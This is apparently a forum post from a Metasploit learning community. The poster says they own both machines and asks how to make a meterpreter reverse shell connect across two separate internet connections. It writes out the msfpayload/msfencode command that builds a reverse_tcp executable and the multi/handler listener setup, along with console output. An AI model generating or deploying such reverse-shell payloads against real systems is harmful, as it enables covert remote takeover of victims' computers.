Hi phoenix910,
thanks a lot for the tutorial. It's really helpful for the beginners.
Well, I need some help regarding port forwarding.
Let me first describe the scenario: I've setup 2 completely separate internet connection with (obviously) different ip address.
Victim's ip is, running vista home edition SP1.
Attacker's ip, running BT3, most updated MSF

I generated the exe file:
./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=5555 R | ./msfencode -b '' -t exe -o output.exe

Opened MSF:

=[ msf v3.3-dev
+ -- --=[ 294 exploits - 124 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 58 aux
msf> version
Framework: 3.3-dev.6055
Console : 3.3-dev.6184

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 5555
LPORT => 5555
msf exploit(handler) > exploit
[*] Handler binding to LHOST[*] Started reverse handler[*] Starting the payload handler...

I run the exe file on vista box........ after few seconds it's showing that "output.exe has stopped working.................", no connection was made between 2 boxes. On the victim box, firewall is off, antivirus is off, windows defender is off.

I have access to both router (they are mine), both are Netgear wgr614v6, both bearing address. Do I need to tweak the setting? Any suggestion?? Thanks a lot for your time.

PS: the exploit works fully, if i connect to victim's router directly.
PS2: To pureh@te--> before you warn me, yep... none of the boxes are my neighbors'